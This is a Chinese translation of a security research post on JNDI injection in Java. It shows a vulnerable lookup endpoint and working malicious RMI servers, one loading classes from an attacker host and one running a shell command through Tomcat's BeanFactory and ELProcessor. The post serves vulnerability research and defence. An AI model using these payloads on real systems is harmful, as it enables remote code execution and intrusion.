Java中的JNDI注入利用
Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI)是允許客戶端通過名稱發現和查找數據及對象的JAVA API。這些對象會保存在不同的命名和目錄服務中,例如遠程方法調用(RMI),公共對象請求代理結果(CORBA),輕目錄訪問協議(LDAP),或域名服務。
換句話說,JNDI是一個簡單JAVA API(例如InitialContext.lookup(String name)),僅接受一個String參數,如果該參數來自不受信任的源,它可能會導致通過遠程類加載遠程代碼執行。
當請求對象的名稱被攻擊者控制,它可能將受害JAVA應用指向惡意的 rmi/ldap/coba 服務器并響應任意對象。如果這個對象是” javax.naming.Reference”類的實例,JNDI客戶端嘗試解析”classFactory”和” classFactoryLocation”屬性。
如果"classFactory"值相對于目標JAVA應用是未知的,JAVA會通過" URLClassLoader "從"classFactoryLocation"位置中獲取工廠字節碼。
由于它是簡單的,當'InitialContext.lookup'方法沒有直接暴露給受污染的數據時利用JAVA漏洞它是非常好用的。在某些情況下,還可能通過反序列化或不安全反射攻擊來實現。
漏洞代碼示例:
@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"}) public Object lookup(@RequestParam String name) throws Exception{ return new javax.naming.InitialContext().lookup(name); }
在JDK1.8.0_191之前的JNDI注入利用
通過請求URL "/lookup/?name=ldap://127.0.0.1:1389/Object",我們可以使漏洞服務器連接到我們控制的地址。要觸發遠程加載類,一個惡意的RMI服務器可以參考以下進行響應:
public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/' Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
由于"ExploitObject"對目標服務器是未知的,它的字節碼將會從"http://_attacker.com_/ExploitObject.class"加載并執行,從而觸發RCE。
當Oracle添加RMI代碼庫限制時,這個方法在Java 8u121上是有效的。在那之后,可以使用返回相同源的惡意LDAP服務器,如"A Journey from JNDI/LDAP manipulation to remote code execution dream land"研究中描述的那樣??梢栽贕ithub中'Java Unmarshaller Security'項目找到代碼示例。
兩年后,在更新的Java 8u191中,Oracle 在LDAP向量中設置了相同的限制并發布了CVE-2018-3149,關掉了JNDI遠程類加載的大門。然而,它仍然可以通過JNDI注入觸發不受信任反序列化數據,但是利用很大程序上取決于現有的工具
在JDK 1.8.0_191上利用JNDI注入
從Java 8u191開始,當JNDI客戶端接收到引用對象時,"classFactoryLocation"在RMI和LDAP中是不起作用的。另一方面,我們仍可以在"javaFactory"屬性中指定任意工廠類。
該類將用于從攻擊者控制的"javax.naming.Reference"類中提取出真實對象。它應該存在于目標的classpath中,實現"javax.naming.spi.ObjectFactory"并且至少有一個"getObjectInstance"方法:
public interface ObjectFactory { /** * Creates an object using the location or reference information * specified. * ... /* public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception; }
主要想法是在目標classpath中找到一個工廠,它通過引用的屬性做一些危險的事情。在JDK和流行的類庫中查找此方法的不同實現,我們發現利用時非常有趣。
Apache Tomcat中"org.apache.naming.factory.BeanFactory"包含通過反射創建Bean的邏輯:
public class BeanFactory implements ObjectFactory { /** * Create a new Bean instance. * * @param obj The reference object describing the Bean */ @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } ... BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); /* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } continue; }
類"BeanFactory"創建任意Bean的實例并為所有屬性調用它的setter方法。目標Bean類名,屬性,和屬性值全都來自于攻擊者控制的引用對象。
目標類應該有一個public 無參構造方法和僅有一個”String”參數的public setter方法。實際上,這些setter方法不一定都是’set‘開頭,就像"BeanFactory"包含圍繞我們可以為任何參數指定任意setter名稱的邏輯。
/* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); }
這里神奇的屬性是"forceString"。通過設置它,比如設置"x=eval",我們可以為屬性’x’調用eval方法來代替’setX’。因此,使用"BeanFactory"類,我們可以通過默認構造方法創建任意類的實例,并使用一個"String"參數調用任一public方法。
其中最有可能的類就是"javax.el.ELProcessor"。在它的"eval"方法中,我們可以指定一個字符串來表示要執行的Java EL表達式。
package javax.el; ... public class ELProcessor { ... public Object eval(String expression) { return getValue(expression, Object.class); }
下面是一個惡意的表達式,它將執行惡意命令
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}
環環相扣
在補丁之后,LDAP和RMI幾乎沒有區別用于利用目的,為了簡單我們將使用RMI
我們編寫了自己的惡意RMI服務器用于響應精心設計"ResourceRef"對象
import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
此服務器使用'org.apache.naming.ResourceRef'的序列化對象進行響應,并使用所有精心設計的屬性去觸發客戶端所需要的行為。
在JAVA進程中觸發JNDI解析
new InitialContext().lookup("rmi://127.0.0.1:1097/Object")
反序列化此對象時不會產生任何不良后果,但由于它仍然繼承了"javax.naming.Reference",‘害者端’使用工廠"org.apache.naming.factory.BeanFactory"從引用中獲取’真實’對象。
在此階段,將觸發模版賦值的遠程代碼執行,即'nslookup jndi.s.artsploit.com'命令將被執行。
這里唯一的限制是目標JAVA應用classpath中應該有一個來自Apache Tomcat的"org.apache.naming.factory.BeanFactory"類。但其它的應用服務器可能擁有其它危險函數的對象工廠。
解決方法
該問題實際上不包含在JDK或者Apache Tomcat的類庫中,而是將用戶可控數據傳遞給"InitialContext.lookup()"方法的自定義應用程序中,因此安裝所有安全補丁的JDK版本中仍然存在安全風險。請記住大多數情況下,其它漏洞(比如”不受信任的反序列化數據”)也可導致JNDI解析。使用源代碼審計來防止這些漏洞始終是一個好主意。
原文鏈接:https://www.veracode.com/blog/research/exploiting-jndi-injections-java